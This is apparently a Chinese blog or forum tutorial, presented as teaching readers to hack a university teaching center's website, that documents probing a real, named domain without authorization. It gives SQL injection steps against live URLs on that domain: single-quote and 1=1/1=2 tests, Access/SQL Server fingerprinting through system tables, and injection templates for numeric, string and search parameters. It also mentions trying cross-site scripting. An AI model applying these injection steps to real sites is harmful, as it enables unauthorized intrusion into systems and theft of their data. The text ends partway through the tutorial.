【技术水】一步步教你黑掉广大的实验教学中心网站
  • 浏览:3246 评论:28 人



  • 今早是想黑红旗学生会的网站的,但是其功能太少,根本无从下手( ̄ε ̄*)
    然后我就去2014年红旗学生会的网站看了下,留言板是前台验证,可以用XSS跨站脚本攻击,无奈,那个网站以及被他们废弃了,连数据库都关掉了……
    今天学院老师给了我一个网站,叫我把我做的平台放上去,可是并没有给我账号和密码(他自己忘了)。
    然后我自己今晚就上去看了一下
    恩,是别人08年做的平台,恩,很不错、 可以作为练手的材料
    下面我就交大家一步步的黑掉广大的这个网站




    首先发个回帖,尝试下XXS跨站脚本攻击,发现没用。。


    然后检测下看看有没有SQL注入漏洞,这种链接如http://www.xxx.com/xxx.asp?id=YY
    的几年前的asp网站,基本上都有这种漏洞。


    采用单引号法:

    在浏览器地址栏中的页面链接地址后面增加一个单引号,刷新

      然后访问该链接地址,浏览器可能会返回类似于下面的错误提示信息:
    MicrosoftJET Database Engine 错误’80040e14’
      字符串的语法错误在查询表达式’ID=YY’中。
    /xxx.asp 行XX


    这样就说明了该网站可能存在SQL注入攻击的漏洞。




    第二步,链接后加 and 1 = 2,刷新,





    出错提示,提示的是帖子找不到。即提示BOF或EOF(程序没做任何判断时)、或提示找不到记录(判断了rs.eof时)、或显示内容为空(程序加了on error resumenext)

    恩,所以它就是可以注入的。




    下面总结一下这个方法:
    ① http://jyjssfzx.gzhu.edu.cn/bbs/topic.asp?l_id=11&t_id=11
    ② http://jyjssfzx.gzhu.edu.cn/bbs/topic.asp?l_id=11&t_id=11and 1=1
    ③ http://jyjssfzx.gzhu.edu.cn/bbs/topic.asp?l_id=11&t_id=11and 1=2


    这就是经典的1=1、1=2测试法了,怎么判断呢?看看上面三个网址返回的结果就知道了:
    可以注入的表现:
    ① 正常显示(这是必然的,不然就是程序有错误了)
    ② 正常显示,内容基本与①相同
    ③ 提示BOF或EOF(程序没做任何判断时)、或提示找不到记录(判断了rs.eof时)、或显示内容为空(程序加了on error resume next)
    不可以注入就比较容易判断了,①同样正常显示,②和③一般都会有程序定义的错误提示,或提示类型转换时出错。




    下面,我们再来判断一下数据库:
    ASP的数据库基本上(99%)都是SQLServer或者Access,所以我们只要判断出它是哪一种就可以了

    在确认可以注入的情况下,使用下面的语句:
    http://jyjssfzx.gzhu.edu.cn/bbs/topic.asp?l_id=11&t_id=11 and (select count(*) from sysobjects)>0
    http://jyjssfzx.gzhu.edu.cn/bbs/topic.asp?l_id=11&t_id=11 and (select count(*) from msysobjects)>0

    如果数据库是SQLServer,那么第一个网址的页面与原页面http://www.mytest.com/showdetail.asp?id= 49是大致相同的;而第二个网址,由于找不到表msysobjects,会提示出错,就算程序有容错处理,页面也与原页面完全不同。

    如果数据库用的是Access,那么情况就有所不同,第一个网址的页面与原页面完全不同;第二个网址,则视乎数据库设置是否允许读该系统表,一般来说是不允许的,所以与原网址也是完全不同。大多数情况下,用第一个网址就可以得知系统所用的数据库类型,第二个网址只作为开启IIS错误提示时的验证。


    但是我们根本不需要用这种方法,在最初链接加引号的时候,我们已经知道它是Access数据库了


    至此,判断SQL注入点已经结束。此论坛的确存在SQL注入点,数据库为Access





    下面,我们就开始进行SQL注入。

    根据注入参数类型,在脑海中重构SQL语句的原貌,按参数类型主要分为下面三种:
    (!!!!!重要,这个是总结出来的经验)
    (A) ID=11 这类注入的参数是数字型,SQL语句原貌大致如下:
    Select * from 表名 where 字段=11
    注入的参数为ID=11 And [查询条件],即是生成语句:
    Select * from 表名 where 字段=11 And [查询条件]

    (B) Class=连续剧这类注入的参数是字符型,SQL语句原貌大致概如下:
    Select * from 表名 where 字段=’连续剧’
    注入的参数为Class=连续剧’ and [查询条件] and ‘’=’ ,即是生成语句:
    Select * from 表名 where 字段=’连续剧’ and [查询条件] and ‘’=’’

    搜索时没过滤参数的,如keyword=关键字,SQL语句原貌大致如下:
    Select * from 表名 where 字段like ’%关键字%’
    注入的参数为keyword=’ and [查询条件] and ‘%25’=’,即是生成语句:
    Select * from 表名 where字段like ’%’ and [查询条件] and ‘%’=’%’